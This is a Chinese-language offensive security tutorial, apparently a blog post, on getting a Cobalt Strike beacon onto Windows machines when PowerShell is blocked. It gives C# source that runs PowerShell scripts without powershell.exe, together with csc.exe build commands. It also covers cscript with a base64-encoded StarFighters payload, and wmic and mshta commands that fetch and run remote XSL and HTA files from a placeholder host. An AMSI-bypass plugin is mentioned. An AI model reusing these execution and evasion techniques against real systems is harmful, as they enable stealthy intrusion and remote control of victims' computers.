1、powershell被禁用执行ps文件上线cs
1.1、适用场景
上线ps文件后,powershell被禁用
1.2、利用条件
csc.exe:windows10自带,开启方式参考:https://blog.csdn.net/qq_36090938/article/details/100513156。为了使用方便,可以设置环境变量。
1.3、使用过程
1、保存以下代码为*.cs文件。
using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.IO; using System; using System.Text; namespace PSLess { class PSLess { static void Main(string[] args) { if(args.Length ==0) Environment.Exit(1); //终止此进程并返回给操作系统错误代码1。 string script=LoadScript(args[0]);//接收命令行的第一个参数。并传输到LoadScript函数中,将函数的返回值保存到script。 string s=RunScript(script);//执行script脚本并将返回值赋给s。 Console.WriteLine(s);//输出命令结果s。 } private static string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename);//打开文件并读取文件中的所有文本并存储到buffer中然后关闭文件。 } catch (Exception e) //catch块做异常处理 { Console.WriteLine(e.Message); Environment.Exit(2);//终止进程并抛出错误代码2给操作系统。 } return buffer;//将buffer的值作为此函数的返回值。 } private static string RunScript(string script) { Runspace MyRunspace = RunspaceFactory.CreateRunspace();//创建一个runspace类,可以通过这个类来解析powershell脚本 MyRunspace.Open();//执行powershell脚本前必须执行此函数 Pipeline MyPipeline = MyRunspace.CreatePipeline(); //创建可以用来执行命令的管道类 MyPipeline.Commands.AddScript(script);//添加一个新的脚本命令 MyPipeline.Commands.Add("Out-String");//将执行命令后返回的对象转换为字符串数组,不加这一行的话返回值有时候会很奇怪,例如ls命令的返回值会有变化。 Collection<PSObject> outputs = MyPipeline.Invoke();//执行命令,然后将结果转化为对象数组并返回 MyRunspace.Close();//关闭runspace StringBuilder sb = new StringBuilder(); //这个类可以存储可变的字符串 foreach (PSObject pobject in outputs) //遍历outputs { sb.AppendLine(pobject.ToString()); //将outputs里面所有的值转化为字符串类型并添加到sb对象的结尾。 } return sb.ToString();//将sb里面的值转化为string类型并作为函数的返回值。 } } }
2、找到System.Management.Automation.dll文件位置。默认位置:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e3
3、找到*.cs的文件夹,执行命令:
csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /out:1.exe 1.cs
4、创建*.ps1文件,并编辑内容如下:
2、cscript执行命令上线cs
2.1、适用场景
目标机器拥有cscript命令执行权限。
2.2、利用条件
StarFighters、cscript(windows自带)、base64加密方法
2.3、使用过程
1、访问:https://github.com/Cn33liz/StarFighters下载StarFighters文件。
2、创建ps文件,对需要执行的命令进行base64编码。加密代码如下:
$code = '所需执行的命令' $bytes = [System.Text.Encoding]::UNICODE.GetBytes($code); $encoded = [System.Convert]::ToBase64String($bytes) $encoded
3、执行ps命令,获取编码值,如下:
4、修改StarFighter.js中的EncodedPayload参数,把编码值填入。
5、使用cscript执行文件,即可执行命令。但是该文件会被部分杀软识别。
3、vmic上线cs
3.1、适用场景
目标允许出网,且可执行vmic命令。
3.2、利用条件
vmic、CS、AMSI_bypass-master
3.3、使用过程
1、wmic可以配合xsl文件执行任意命令,以下分别对应本地、远程执行的方式。
#Local File wmic process list /FORMAT:evil.xsl #Remote File wmic os get /FORMAT:"https://example.com/evil.xsl"
测试文档*.xsl
<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </ms:script> </stylesheet>
2、测试结果
本地:
远程:
3、cs插件AMSI_bypass:https://github.com/Ridter/AMSI_bypass,下载插件后,添加至cs客户端。
4、点击攻击——AMSI bypass即可进入操作界面。
5、无需点击hta,点击开始即可弹出攻击命令。
6、执行命令,即可上线。
4、mshta上线cs
4.1、适用场景
mshta命令可以执行。
4.2、利用条件
mshta、cs、AMSI_bypass
4.3、使用过程
1、mshta执行命令也分为本地、远程。
#本地命令 mshta %真实路径%/*.hta #远程命令 mshta http://xxxx/1.hta
测试代码:
<html> <head> <script language="VBScript"> Sub RunProgram Set objShell = CreateObject("Wscript.Shell") objShell.Run "cmd.exe /c ping www.baidu.com" End Sub </script> </head> <body> <button onclick="RunProgram">Run Program</button> <p> </body> </html>
2、测试情况如下:
本地:
远程:
3、使用攻击——AMSI bypass进入攻击模块,勾选hta选项。点击确定即可弹出攻击命令。
4、在服务器执行命令即可上线。
参考链接:
https://shanfenglan.blog.csdn.net/article/details/108529739
https://evi1cg.me/archives/AMSI_bypass.html
https://www.cnblogs.com/pt007/p/11857274.html
https://blog.csdn.net/weixin_30368405/article/details/114492164
https://blog.csdn.net/qq_27828281/article/details/103628411